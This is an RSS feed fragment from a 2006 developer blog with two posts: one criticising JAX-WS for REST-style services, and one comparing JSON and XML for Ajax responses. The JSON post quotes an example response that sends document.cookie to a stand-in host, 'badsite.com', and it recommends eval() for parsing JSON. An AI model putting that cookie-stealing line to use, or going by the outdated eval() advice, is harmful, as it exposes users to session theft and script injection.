<p>This post is in response to <a href="http://blogs.sun.com/sameert">Sameer Tyagi</a>&#8216;s article on using <a href="http://java.sun.com/developer/technicalArticles/WebServices/restful/">JAX-WS for RESTful web services</a> posted at the <a href="http://java.sun.com/developer/">Sun Developer Network</a>.  I find a few points stated in this article troubling if not inaccurate &#8211; (a) it presents REST in a limited scope thereby showing SOAP in better light, and (b) it misses some key differences between REST and SOAP based web services. Beyond this, the example cited in this article just shows why you SHOULD NOT use JAX-WS for REST style web services. In this post, I would like to discuss the whys behind the two statements I just made.</p>
<p><span id="more-77"></span></p>
<p>Let me first list each point mentioned about when to use REST and when to use SOAP, and comment on each. The statements in italics below are from this article.</p>
<ol>
<li>
<p>Use REST when <em>the web services are completely statelesss</em>.</p>
<p>This article contents that REST is suited for stateless services. To the contrary, most people prefer keeping SOAP style web services stateless. I also find it easier to manage state over REST based services than SOAP based services. With REST based services, you can either manage state with cookies or with the state encoded in the URI. With SOAP based services, the only option is to encode the state within the envelope.
</li>
<li>Use REST when <em>bandwidth is particularly important and needs to be limited</em>.</p>
<p>REST based web services may be less-bloated. That may or may not turn into better performance &#8211; it depends on the network and the latency.</p>
</li>
<li>Use REST for <em>web service delivery or aggregation into existing web sites</em> &#8230; using technologies such as <em>Asynchronous JavaScript with XML (AJAX)</em>.
<p>This point is a stretch for two reasons. It is equally possible to invoke SOAP style services via XMLHttpRequest. There are pros and cons to each approach. Secondly, I would not use JAX-WS for driving Ajax responses as using <a href="http://www.subbu.org/weblogs/main/2006/08/json_vs_xml_1.html">JSON over XML</a> has several advantages and JAX-WS is not meant for anything other than XML.</p>
<li>
<p>Use REST when <em>the service producer and service consumer have a mutual understanding of the context and content being passed along</em> and use SOAP when <em>a format contract mus be established to describe the interface that the web service offers</em>.</p>
<p>Both the statements are misleading. I think these statements are based on the assumption that WSDL and schemas provide such a contract for SOAP based web services. This is only half-true. WSDL and schemas can describe the structure of messages (data, headers, faults etc.), but you still need to describe the <a href="http://www.subbu.org/weblogs/main/2005/10/xml_and_semanti_1.html">semantics</a> of operations and messages outside the WSDL. Without a description of those semantics, it is not difficult for different people to come up with different interpretations. WSDL and schemas don&#8217;t describe the semantic meaning. </p>
<li>
<p>Use SOAP when <em>The architecture must address complex nonfunctional requirements</em> such as <em>Transactions, Security,<br />
Addressing, Trust, Coordination, and so on</em> that <em>go beyond simple CRUD operations</em> possible with REST.
<p>This article contends that real enterprise applications need more than the CRUD operations that are possible with HTTP. Actually, this article starts by saying how HTTP is related to SQL for CRUD capabilities. This is nothing but a mis-interpreation of HTTP. HTTP defines some standard verbs with defined semantics. There are two ways you can use HTTP for REST style services &#8211; by encoding the operations in the URI, and/or by defining new verbs. This gives a wide range of possibilities for surfacing services &#8211; definitely not limited to CRUD. In any case, how is this better than encoding the operations in the header/body of a SOAP message and send all messages via POST? </p>
<p>Regarding the non-functional requirements such as <em>Transactions, Security, Addressing, Trust, and Coordination</em>, except for security, we are yet to see any one using the others seriously today. Who said security cannot be addressed with RESTful web services? </p>
</ol>
<p>What this article forgets to mention is that RESTful services don&#8217;t hide the fact that they are operating over HTTP, where as SOAP style services try to hide this and encourage <a href="http://www.subbu.org/weblogs/main/2006/08/protocol_agnost_1.html">protocol agnosticism</a>. The result of this protocol agnosticism is API bloat with too many indirections. I have been developing web services for over three years, and I don&#8217;t have problems with the lower level APIs (SAAJ, DOM etc.) &#8211; what frustrates me is the bloat added by the higher-level APIs (dispatchers, handlers, XML binding etc.) trying to hide the protocol. </p>
<h3>JAX-WS for RESTful Services?</h3>
<p>JAX-WS (like its dead-cousin JAX-RPC) is designed with protocol abstraction in mind &#8211; so they carry the bloat I just mentioned. The API goes on to great trouble in hiding the protocol with layer upon layer &#8211; may be the thought was if there are too many layers on top of the protocol, nobody would notice the protocol?</p>
<p>Yes, you can use JAX-WS for REST style services, but as I show below, using JAX-WS makes your code inherit some of that bloat. It adds more complexity without necessarily offering any advantages. Note that the example in this article uses JAXB in combination with JAX-WS, and my comments are limited to using JAX-WS.</p>
<p>First, let me briefly describe the example provided in this article. </p>
<ol>
<li>A purchase order service to get, create, update, or delete purchase orders. This service is implemented using the<br />
<a href="http://java.sun.com/javaee/5/docs/api/javax/xml/ws/Provider.html"><code>javax.xml.ws.Provider</code></a> interface<br />
and some annotations of JAX-WS. The <code>invoke()</code> of this class method processes the request by first checking the request<br />
verb and the path of the URI used to make the request.</li>
<li>A client that uses the <a href="http://java.sun.com/javaee/5/docs/api/javax/xml/ws/Service.html"><code>javax.xml.ws.Service</code></a><br />
and <a href="http://java.sun.com/javaee/5/docs/api/javax/xml/ws/Dispatch.html"><code>javax.xml.ws.Dispatch</code></a><br />
interfaces of JAX-WS to 	talk to the purchase order service. </li>
</ol>
<p>This example is simple, yet demonstrates the bloat very well. Let&#8217;s see the bloat.</p>
<ol>
<li>
<p>The servlet API is best suited for providing an entry point for REST-style services. The API has the right abstractions for serving services over HTTP. But since JAX-WS wants to stay protocol agnostic, there is no way you can bind JAX-WS provider classes to servlets. But still JAX-WS leaks some protocol details via the <a href="http://java.sun.com/javaee/5/docs/api/javax/xml/ws/handler/MessageContext.html"><code>javax.xml.ws.handler.MessageContext</code></a><br />
(which IMO, makes <a href="http://www.subbu.org/weblogs/main/2006/04/angle_brackets.html">JAX-WS more usable than JAXRPC</a>). So, this example ends up using the leaks to get details of the request API. </p>
<pre class="brush: java">
public Source invoke(Source source) {
try{
MessageContext mc = wsContext.getMessageContext();
String path = (String)mc.get(MessageContext.PATH_INFO);
String method = (String)mc.get(MessageContext.HTTP_REQUEST_METHOD);
System.out.println("Got HTTP "+method+" request for "+path);
if (method.equals("GET"))
return get(mc);
if (method.equals("POST"))
return post(source, mc);
if (method.equals("PUT"))
return put(source, mc);
if (method.equals("DELETE"))
return delete(source, mc);
throw new WebServiceException("Unsupported method:" +method);
} catch(JAXBException je) {
throw new WebServiceException(je);
}
}
</pre>
<p>The above code from this article makes a good case why you should servlet API and not JAX-WS. Since this service is bound to HTTP, this code had to obtain the request info directly via the leaked abstractions. Here is how you could rewrite this using the servlet API.</p>
<p><code language="Java"><br />
// Nothing<br />
</code></p>
<p>Except for message parsing, there is no need to write code to detect the verb. The good old <a href="http://java.sun.com/javaee/5/docs/api/javax/servlet/http/HttpServlet.html"><code>javax.servlet.http.HttpServlet</code></a> does this job, and would delegate to methods like <code>doGet()</code>, <code>doPost()</code> etc.</p>
</li>
<li>
<p>The purchase order service writes back fault messages and response error codes. Here again, we see the SOAP concepts leaking into the REST-style purchase order service.</p>
<li>
<p>The client side code is similarly more complex like the service implementation. The client first creates a Service, adds a Port, then creates a Dispatcher, creates a RequestContext, and then invokes the service.</p>
<pre class="brush: java">
private  void retrieveOrder() {
service = Service.create(qname);
service.addPort(qname, HTTPBinding.HTTP_BINDING, url + "ABC-123");
Dispatch<Source> dispatcher = service.createDispatch(qname, Source.class, Service.Mode.MESSAGE);
Map<String, Object> requestContext = dispatcher.getRequestContext();
requestContext.put(MessageContext.HTTP_REQUEST_METHOD, "GET");
Source result = dispatcher.invoke(null);
printSource(result);
}
</pre>
<p>There are too many abstractions in this code snippet. It uses APIs designed for SOAP and WSDL to implement REST-style invocations. But why not use <code>HttpURLConnection</code> for the same task?</p>
<pre class="brush: java">
// pseudo code
URL url = new URL(...);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setDoInput(true);
connection.setRequestMethod("GET");
// ...
InputStream is = connection.getInputStream();
// Read and bind to a JAXB object
</pre>
<p>This code is not trivial either, but you are atleast dealing with HTTP directly &#8211; no SOAPy abstractions in the way of doing REST.</p>
</ol>
<p>Due to the fact that JAX-WS hides HTTP, you will also notice that neither the client nor the service can easily deal with things like headers and cookies. This article makes a good point that REST style services can take advatange of HTTP caching, but unfortunately, JAX-WS won&#8217;t let you do it easily.</p>
<h3>My Conclusion</h3>
<p>In summary, this articles makes an attempt to justify that JAX-WS can beused for programming REST-style web services. It should also have<br />
taken the time to justify why you must use JAX-WS as opposed to, let&#8217;s say, servlets and a HTTP client? </p>
<p>If the JAX-WS API is really intent on supporting REST-style programming, here are some the things that it needs to do</p>
<ol>
<li>Provide an easier way to process XML and JSON messages on the server side without hiding HTTP, preferrably by extending the servlet API.</li>
<li>Provide an wasier way to write HTTP client by creating some light-weight abstractions on the top of <code>HttpURLConnection</code> so that writing XML to, and reading XML from HTTP connections is simplified.</lI>
</ol>
<p>As of today, I would not recommend using JAX-WS for REST-style web services.</p>
<p><strong>Update (09/03/2006):</strong> I just came across Mark Baker&#8217;s interview at <a href="http://www.infoq.com/articles/mark-baker-REST">http://www.infoq.com/articles/mark-baker-REST</a>. In response to a question on combining REST with more conventional web services approaches, he says <em>it&#8217;s technically possible, but from what I&#8217;ve seen of Web services toolkits (even those that claim to &#8220;support REST&#8221;), there&#8217;s a very good chance that it&#8217;ll be more trouble than it&#8217;s worth</em>. That says it all.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2006/08/jax-ws-for-restful-web-services/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>JSON vs XML</title>
		<link>http://www.subbu.org/blog/2006/08/json-vs-xml</link>
		<comments>http://www.subbu.org/blog/2006/08/json-vs-xml#comments</comments>
		<pubDate>Sun, 27 Aug 2006 21:15:08 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Ajax]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[XMLHttpRequest]]></category>
		<category><![CDATA[JSON]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2006/08/json-vs-xml/</guid>
		<description><![CDATA[What is the right response format for XMLHttpRequest in Ajax applications? The answer is simple for most markup-oriented applications &#8211; use HTML. For data-oriented applications the choice is between XML and JSON. Until recently I did not pay much attention to the question of whether to use XML or JSON. I just presumed that the [...]]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F08%2Fjson-vs-xml"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F08%2Fjson-vs-xml&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>What is the right response format for XMLHttpRequest in Ajax applications? The answer is simple for most markup-oriented applications &#8211; use HTML. For data-oriented applications the choice is between XML and <a href="http://www.json.org">JSON</a>. Until recently I did not pay much attention to the question of whether to use XML or JSON. I just presumed that the use case at hand will dictate the format. I had a chance to test this presumption<br />
recently. In this post, I would like to describe the criteria I used for comparing between XML and JSON, and my analysis.</p>
<p><span id="more-76"></span></p>
<p>Here is my criteria:</p>
<ul>
<li>Human readability</li>
<li>Ease of creating the data on the server side</li>
<li>Ease of processing the data on the client side</li>
<li>Extensibility of the payload</li>
<li>Debugging and trouble-shooting</li>
<li>Security</li>
</ul>
<h3>Human Readability</h3>
<p>Peter-Paul Kock of <a href="http://www.quirksmode.org">QuirksMode.org</a> includes human-readability as one of the criteria in <a href="http://www.quirksmode.org/blog/archives/2005/12/the_ajax_respon.html">his analysis</a>. IMO, human-readability is a secondary goal, and one could easily argue that JSON is as human-readable as XML &#8211; provided both are pretty-printed. </p>
<table>
<tr>
<td width="40%">
<pre name="code" class="xml">
<person>
<firstName>Subbu</firstName>
<lastName>Allamaraju</lastName>
</person></pre>
</td>
<td width="40%">
<pre class="brush: java">({
"firstName" : "Subbu",
"lastName" : "Allamaraju"
});</pre>
</td>
</tr>
</table>
<p>I would argue that the ability to debug and trouble-shoot is more important than human-readability.</p>
<h3>Ease of Data Creation</h3>
<p>Given that XML has been around for years, there are a number of XML data-binding APIs to create XML in several programing languages. In the Java-land, for instance, you could data-binding APIs like <a href="http://java.sun.com/webservices/jaxb/index.jsp">JAXB</a> or <a href="http://xmlbeans.apache.org/">XmlBeans</a> to write XML response. Here is an example using JAXB.</p>
<pre class="brush: java">
Person person = new Person();
person.setFirstName("Subbu");
person.setLastName("Allamaraju");
Marshaller marshaller = ... // Create a marshaller instance
marshaller.marshal(person, outputStream);</pre>
<p>On the otherhand, APIs to create JSON responses are fairly new. Nonetheless, <a href="http://www.json.org">JSON.org</a> lists a fairly impressive collection of APIs in various languages. Here is an example of creating a response with <a<br />
href="http://json-lib.sourceforge.net">Json-lib</a>.</p>
<pre class="brush: java">
Person person = new Person();
person.setFirstName("Subbu");
person.setLastName("Allamaraju");
writer.write(JSONObject.fromObject(person).toString());</pre>
<p>JSON is not far behind in terms of APIs to serialize Java beans into objects. However, I must point out that there are far more ways to create XML than JSON. Some of those XML APIs have been around for years and hence may be more stable for complex<br />
applications.</p>
<p>Another point to consider is what sources are being used to generate the response. If your backend is already doing the heavy-lifting to create data as XML, it will most likely be<br />
optimal to use XML as the response format. If not, I would not discount using JSON.</p>
<h3>Ease of Data Processing on the Client Side</h3>
<p>On the client-side, processing JSON data from the response of an XMLHttpRequest is trivial.</p>
<pre class="brush: java">
var person = eval(xhr.responseText);
alert(person.firstName);</pre>
<p>With a simple eval(), you could evaluate the response to a JavaScript object. Once this step is done, to access the data, you just access the properties of the evaluated<br />
object. This is the most elegant part of JSON.</p>
<p>Now consider XML. To keep the code snippet below short, I have excluded all error checks.</p>
<pre class="brush: java">
var xml = xhr.responseXML;
var elements = xml.getElementsByTagName("firstName");
alert(elements[0].firstChild.textContent);</pre>
<p>Apparently, to process the response data, you need to walk the DOM tree. This is a very tedious exercise, and is error prone. Unfortunately, DOM is what we are left with on the browser side. Browsers don&#8217;t support query languages like XPath to query and<br />
select nodes in an XML document. There is XSLT support, but it is limited to transforming XML into markup (e.g. HTML). W3C&#8217;s <a href="http://www.w3.org/2006/webapi/">Web API Working Group</a> is working on a <a href="http://www.w3.org/TR/selectors-api/">Selectors API</a> that can be used to use CSS-style selectors to select nodes<br />
from a <code>Document</code> object. With this API, the above code snippet can be changed to <code>xml.match(&quot;person.firstName&quot;)</code> to get the<br />
<code>firstName</code> element. This is not a great improvement in this specific example XML document, but will be more useful to process deeply nested documents. This API is is work-in-progress, and is years away from browsers supporting this API.</p>
<p>Between XML and JSON, I prefer JSON for ease of client side processing.</p>
<h3>Extensibility</h3>
<p>Extensibility helps reduce the coupling between the producer and the consumer of the data. In the context of Ajax applications, the client side script should be reasonably agnostic of compatible changes made to the data.</p>
<p>It is a <a href="http://blogs.ebusiness-apps.com/dave/?p=43">common presumption</a> that, just because there is an &quot;X&quot; in XML, XML is automatically extensible. That is not necessarily the case (i.e. not automatic). The extensibility of XML is based on the principle that you can define extensibility points in your XML, and then honor the must-ignore rule (i.e. if you come across an unknown<br />
element/attribute while processing XML, just ignore it).</p>
<p>To take advantage of extensibility, you need to write the processing code on the client side with extensibility in mind. For example, the following code would break when you insert, e.g., a middleName element.</p>
<pre class="brush: java">
var xml = xhr.responseXML;
var elements = xml.getElementsByTagName("firstName");
var firstNameEl = elements[0];
var lastNameEl = firstNameEl.nextSibling;</pre>
<p>When you insert a &lt;middleName&gt; element after the &lt;firstName&gt; element, the code above would incorrectly treat the middle name as last name. To be agnostic of this<br />
change, this code will have to be rewritten to either explicitly get the &lt;lastName&gt; element, or keep accessing nextSibling till the sibling with the correct<br />
tagName is found. So, XML is extensible as long as you write the processing code with extensibility in mind. There is no magic.</p>
<p>How about JSON? I would argue that it is simpler to extend JSON data than XML. It certainly takes less effort. Consider adding a <code>middleName</code> property to the JSON response. To access it, you would simple access the property.</p>
<pre name="code" class="javascript">
alert(person.middleName);</pre>
<p>This code need not be changed if you insert a middle name. How about processing a person object with or without middle name? It is simple with JSON.</p>
<pre name="code" class="javascript">
if(person.middleName) {
// Process
}</pre>
<p>My take is that, provided extensibility is kept in mind, both XML and JSON can be extended. JSON is just much easier to deal with extensibility than XML. You just need to check if a given property exists on an object, and process accordingly.</p>
<p>There is another kind of extensibility possible with JSON, that is to inject code along with the data into the response. </p>
<pre name="code" class="javascript">
alert("Hi - I'm a person");
({"firstName" : "Subbu",
"lastName" : "Allamaraju"});
</pre>
<p>When this data is evaluated via eval(), the browser would also execute the alert() statement. This way, you can download and execute code. This approach needs to be used carefully as it pollutes the response and creates a coupling between the code and data. Some people also consider this technique a security risk &#8211; more about that below.</p>
<h3>Debugging and Trouble-shooting</h3>
<p>This aspect needs to be addressed on both the server side and the client side. On the server side, it is necessary to ensure that the data is well-formed and valid. On the client side, it should be easy to debug errors in the response.</p>
<p>With XML, it is relatively easy to check that the data being sent to the client is well-formed and valid. You can use a schema for your data, and use that to validate the data. With JSON, this task is manual, and involves verifing that the response object has<br />
the right attributes.</p>
<p>On the client side, it is difficult to spot errors in either format. With XML, the browser would simply fail to parse the XML into the responseXML. For small JSON data, I was able<br />
to detect errors with the <a href="https://addons.mozilla.org/firefox/1843/">FireBug</a><br />
extension in Firefox. With larger data, it may be a bit more difficult to relate the error messages to the data.</p>
<h3>Security</h3>
<p><a href="http://blogs.ebusiness-apps.com/dave">Dave Johnson</a> comments that JSON could pose security problems in his post <a href="http://blogs.ebusiness-apps.com/dave/?p=43">JSON and the Golden Fleece</a>. His comment is based on the fact that you can include script along with data in JSON responses, and by using<br />
eval() to process the response, you will also be executing the script, and that such a script may pose a security risk.</p>
<pre name="code" class="javascript">
window.location = "http://badsite.com?" + document.cookie;
person : {
"firstName" : "Subbu",
"lastName" : "Allamaraju"
}</pre>
<p>The response above, when evaluated, will cause the browser to post the user&#8217;s cookies to a rogue site. But there is a fallacy in the argument about the security risk. You should not trust data or code when it was returned from un untrusted source. Secondly, you<br />
can not use XMLHttpRequest to connect to domains other than the one you downloaded the script from. So, only the developer(s) in charge of building the application can post the cookies to a rogue site. This is a bit fictitious, since those developers can put the<br />
same code elsewhere in the document outside the data. So unless I&#8217;m missing something, I don&#8217;t consider that JSON is insecure when compared to XML. </p>
<h3>My Conclusion</h3>
<p>For data-oriented applications, I prefer JSON to XML due to its simplicity and ease of processing on the client side. XML may be great on the server side, but JSON is definitely easier to deal with on the client side.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2006/08/json-vs-xml/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
	</channel>
</rss>

